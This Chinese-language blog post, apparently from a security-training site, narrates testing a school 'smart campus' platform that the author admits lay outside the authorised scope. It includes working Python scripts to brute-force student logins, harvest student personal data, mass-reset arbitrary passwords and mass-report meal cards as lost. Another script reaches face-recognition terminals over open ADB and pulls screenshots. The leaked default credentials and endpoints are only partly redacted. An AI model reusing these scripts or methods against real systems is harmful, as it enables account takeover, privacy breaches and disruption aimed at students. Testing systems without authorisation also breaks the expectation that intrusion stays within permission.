记一次授权渗透测试与智慧校园一轮游(上卷)
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
文章首发于火线Zone社区(https://zone.huoxian.cn/)
一、前言
本文第三部分已得到授权,智慧校园系统不在测试范围内(已提交漏洞报告)。
如发现存在问题发送邮件到:UzJuer@163.com
关于如何挖逻辑漏洞的思维图
二、智慧校园系统
+
111111
www.xxx-xxxx.com svn泄露
Ps:后台截图(漏洞已上报并已修复)
1.1 漏洞复现
目录扫描
通过目录扫描发现存在.svn,使用svnExploit可下载文件
一些简单的html和js,没有发现一些比较有用的东西。
不过比较有意思的是,我在这些文件中找到一些代码。
这里action指向的地址,简述一下,该平台使用云服务一样的桌面池来管理机器,登录后可访问云磁盘与云桌面池(四台ubuntu服务器,其中一台个人PC,里面有平台源代码,一台Centos)
这⾥给出的账号是admin 密码是abc@123 尝试后发现密码是123456
这上⾯有⽤的就是这个桌⾯池能直接连接到⼏台计算机。
账号admin,密码123456
密码123456
看包和代码好像是这个云平台的源代码
+
222222
www.xxx-xxx.com:58080 svn泄露
(源代码)
2.1 漏洞复现
目录扫描后发现svn
下载文件,这次需要下载的文件比较多,均为源代码。
+
333333
www.xxx-xxx.com:58080 弱口令
(家长,学生,老师)
3.1 漏洞复现
教育平台弱口令,WIFI+手机+Burp抓包后发现其实公众号上的智慧校园对接的是www.xxx-xxx.com。
获取服务器信息后,扫描发现一个58080端口,然后需要登录,猜测一下账号就是学号,密码88888888,000000,00000000,发现尝试后密码为88888888
尝试20201008,密码88888888(但是没有权限,但是可以挂失卡,大概猜测挂失后应该卡就刷不了了吧)
而在这里可以挂失任何一张卡
老师的账号
+
444444
www.xxx-xxx.com:58080
学生账号可批量爆破
4.1 漏洞复现
burp抓包后丢Repeater,没有验证码,没有任何验证,比较常规的暴力破解。
改一下post参数发现好像没有别的验证,例如验证码,自己用Python写了一个脚本。
Poc如下:
import requests as req import user_agent import time def getUserPassBruteForce(): # default UserPassword userPassWordList = ['88888888', '00000000', '12345678', '666666'] gradeNumList = 2020 defaultPass = 88888888 try: for num in range(1000, 10000): r = "http://xxx-xxx.com:port/xxxxx.do?checkxuser" proxies = { 'https': 'https://127.0.0.1:1087', 'http': 'http://127.0.0.1:1087', 'socks5': 'socks5://127.0.0.1:1086' } headers = { # "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0", # set random UA "User-Agent": user_agent.generate_user_agent(), "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Content-Length": '44', "Cookie": "JSESSIONID=6024BAA35FE8174BAD11FE3", "Origin": "http://xxx-xxx.com:port", "Referer": "http://xxx-xxx.com:port/" } data = { "userName": str(gradeNumList) + str(num), #"password": getResultUserPasswordList, "password": 88888888, "loginDutyId": 1 } # proxy # result = req.post(url=r, headers=headers, data=data, proxies=proxies) # not proxy result = req.post(url=r, headers=headers, data=data) print(result.text) if '操作成功' in result.text: print( "[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format( defaultPass)) print('-' * 50) print("[*]wait 3 second.... Prevent IP from being ban") print("[+]LoginSucess info wirte file") f = open('loginSucess.txt', mode='a+', encoding='utf-8') f.writelines( "[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format( defaultPass) + '\n' + '-' * 40) time.sleep(3) # sucessCode += 1 else: print("[-]falid" + '\n' + 'ErrorUserName:{}{}'.format(gradeNumList,num)) # falidCode += 1 except req.exceptions.ConnectionError: pass
脚本运行结果(只要返回的信息里面有操作成功,就是密码正确)
+
555555
www.xxx-xxx.com
任意学生信息泄露
5.1 漏洞复现
我们通过教师登录平台发现可以查询学生信息,抓取接口后,未做验证可重复查询。
Poc如下:
def getStudentinfoF(getSearchName):
# test = ‘2020’ + getSearchName
getURL = ‘http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732×9532114’
headers = {
‘Accept’: ‘*/*’,
‘Origin’: ‘http://www.xxx-xxx:port’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, ‘
‘like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 ‘
‘MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 ‘
‘NetType/WIFI Language/zxh_CN ABI/arm64’,
‘Content-Type’: ‘application/x-www-formx-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘JSESSIONID=AF1x08444123ED874D426F7’,
}
data = {
‘childs’: ’37bd371c2b0a123a2937~9001~%C3%A9%C%A5%23
‘value’: getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)
+
666666
www.xxx-xxx.com:port 任意用户密码重置
(可批量爆破)
挖掘思路,平台PC是没有给出修改密码的接口的,但是手机中的智慧校园是有修改密码的功能的,WIFI+Burp代理(记得上证书,不然容易报错),对接口并没有验证,也没有请求次数的限制。
6.1 漏洞复现
先抓一个包,重放,没做验证,写脚本前需要先知道2个东西,第一就是childs这个参数为xxxxxxx9001xxxxxxx1需要获取其中的两个参数,这两个参数第一个为用户的ID,具体怎么生成的不知道,看着像MD5,第二个为姓名,URL编码后的。
poc代码如下:
下面的代码思路,既然我们想更改任意账号的密码,唯一的要求就是xxx9001xxx1这个参数第一个xxx哪里来呢?
第一个XXX可以在前面的任意学生信息获取漏洞中拿到,获取学生信息中返回的数据有个叫picurl这个参数是学生的照片地址,但是照片的名字去掉.jpg就是这段我们需要的数据。
第二个xxx很显然,不麻烦,就是学生的姓名,照这个思路,我们只需要让getStudentinforeturn返回一个数据,然后用正则匹配出来这段URL即可,然后用format把对应的参数填进去即可。
那么如何批量的修改学生账号密码呢,这里给出一种思路,我在漏洞5-水平越权中可以使用学生学号查询学生的信息。
例如我需要更改20级弱口令学生的密码,那么只需要2020+range(1000, 9999)即可 修改21级以此类推一个原理,再用正则匹配一下url,和name即可做到批量修改密码。
import requests as req
import getStudentinfo
import re
userDefaultPassword = ‘88888888’
changeNewPassword = ‘123456789’
def changeUserpassword(searchName):
reusltinfo = getStudentinfo.getStudentinfoF(searchName)
re_resultinfo = re.findall(r’http://www.xxx-xx.com:xxx/xxxx/xxxx/(.*?).jpg”‘, reusltinfo)
r = ‘http://xxxx.com/xxxx/xxxxx.do?updatePassword’
data = {
‘childs’: ‘{}~9001~{}~1’.format(re_resultinfo[0], searchName),
‘oldpwd’: userDefaultPassword,
‘newpwd1’: changeNewPassword,
‘fun’: ‘xgmm_xs’ #This parameter means to change the student’s password. If it is to change the teacher’s password, the parameter here is xgmm_js
}
headers = {
‘Host’: ‘www.xxx.comm’,
‘Accept’: ‘*/*’,
‘Origin’: ‘http://xxxx.com’,
‘X-Requestsed-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘UA’,
‘Referer’: ‘http://xxxx-xxx.com/xxxxx/xxxxxxx.do?toTeacherPage&fun=jsxgmm&childs=XXXXXX~9001~xxxxxx~1&flag=1’,
‘Cookie’: ‘JSESSIONID=81E52xxF12308DB5C2008E9131BF20B’
}
result = req.post(url=r, headers=headers, data=data)
print(result.text)
print(‘[+]Change password to’, changeNewPassword)
# getUserinput = input(‘[+]Please Input NewUserPassowrd:’)
# getOldPassowrd = input(‘[+]Please Input oldUserpassowrd:’)
getsearchName = input(‘[+]Please Input SearchName:’)
# This Function is not Input oldPassword
changeUserpassword(searchName=getsearchName)
# This Function is define User Input oldPassword
# changeUserpassword(getNewUserPassword=getUserinput, getOldUserPassword=getOldPassowrd, searchName=getsearchName)
+
777777
水平越权—www.xxx-xxx.com:port
可导致大量学生饭卡挂失
挖掘思路为对抓到能重放的POST请求,我都会进行重放,该系统都没有做验证。
7.1 漏洞复现
先上图
POC如下:
import requests as req
def getStudentinfoF(getSearchName):
# test = ‘2020’ + getSearchName
getURL = ‘http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732×9532114’
headers = {
‘Accept’: ‘*/*’,
‘Origin’: ‘http://www.xxx-xxx:port’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, ‘
‘like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 ‘
‘MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 ‘
‘NetType/WIFI Language/zxh_CN ABI/arm64’,
‘Content-Type’: ‘application/x-www-formx-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘JSESSIONID=AF1x08444123ED874D426F7’,
}
data = {
‘childs’: ’37bd371c2b0a123a2937~9001~%C3%A9%C%A5%23
‘value’: getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)
(利用条件:比如有一个登录了cookie并且不能关闭,然后把cookie填入headers中即可,自动化思路也不麻烦,使用requests.session即可,这里就不再赘述)
但是这个有个缺点是不能定向的攻击,意思是,虽然可以登录任意学生账号,但是如果该学生修改密码了,那平台是无法登陆的,那么post请求中的cardid这个参数是拿不到的。
因为暂时没发现是如何转换的这个参数,也可能是按顺序生成的,所以只能批量的让一定范围(例如130000->200000)这些数字的卡挂失。
import requests as req
def DropStudentid():
# default range (100000 -> 999999)
for num in range(135610, 200000):
getURL = “http://www.xxx-xxx.com:port/xxxxxx.Card&cardid={}”.format(num)
headers = {
‘Content-Length’: ’29’,
‘Origin’: ‘http://www.xxx-xxx.com:ports’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36’,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx.com:port/userController.do?goLoseCard&_=16181456343224’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘Q_GENERATEINDEXSTYLE1=shortcut; JSESSIONID=2535611101D2116BB’,
}
data = {
‘cardstatus’:’正常’, #url编码
}
getResult = req.post(url = getURL, headers = headers, data = data)
print(getResult.status_code)
print(getResult.text)
+
888888
人脸识别终端adb未授权访问
8.1 漏洞复现
漏洞原理不难,其实也不算是漏洞,因为是通过adb来调试,设备打开了远程调试,所以导致可以连接(但只局限于内网,要发到外网也不麻烦,在内网控一台安卓设备后,外网拿这台设备做跳板即可)
先演示写好的Poc
Poc代码如下:每一台手动的去ADB会比较麻烦,用Python写好脚本一键执行更加方便,并且我需要执行命令只需要更改部分代码即可。
import os
import datetime
import sys
import time
adbShellDefault_shell = ‘adb shell ‘
adbShellDefault_Connect = ‘adb connect ‘
adbShellDefault_Screencap = ‘adb shell screencap -p /sdcard/1.png’
# adbShellDefault_pullScreencap = ‘adb pull /sdcard/1.png /Users/apple/Desktop/xxx/TestWebSitePoc/’
adbShellDefault_disconnect = ‘adb disconnect ‘
now_time = datetime.datetime.now().strftime(‘%Y-%m-%d:%H:%M:%S’)
def getAdbFaceAuthentication_getScreenCap(OpenPortAddressList):
print(‘[*]Now Connect device ip:’, OpenPortAddressList)
os.system(adbShellDefault_Connect + OpenPortAddressList) # connect device
print(‘[+]get Screen to sdcard’)
os.system(adbShellDefault_Screencap) # img save to sdcard directory
print(‘[+]Create a new directory’)
# os.system(‘mkdir /FaceAuthenticationImage/’ + OpenPortAddressList) # Create new Directory
print(‘[+]get Device to local directory’)
adbShellDefault_pullScreencap = ‘adb pull /sdcard/1.png /Users/apple/Desktop/xxx/xxx/FaceAuthenticationImage/{}/{}.png’.format(
OpenPortAddressList, now_time)
os.system(adbShellDefault_pullScreencap)# from device pull img save local
# os.system(adbShellDefault_pullScreencap) # from device pull img save local
print(‘[+]Disconnect device connect’)
os.system(adbShellDefault_disconnect + OpenPortAddressList)
if __name__ == ‘__main__’:
# print(logo)
OpenPortAddressList = [‘iplist’]
for push in OpenPortAddressList:
getAdbFaceAuthentication_getScreenCap(push)
# outPutinfoflush()
记一次授权渗透测试与智慧校园一轮游上卷,就到这结束了,下卷将演示某次授权渗透测试的部分,我们明天见!
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/3577.html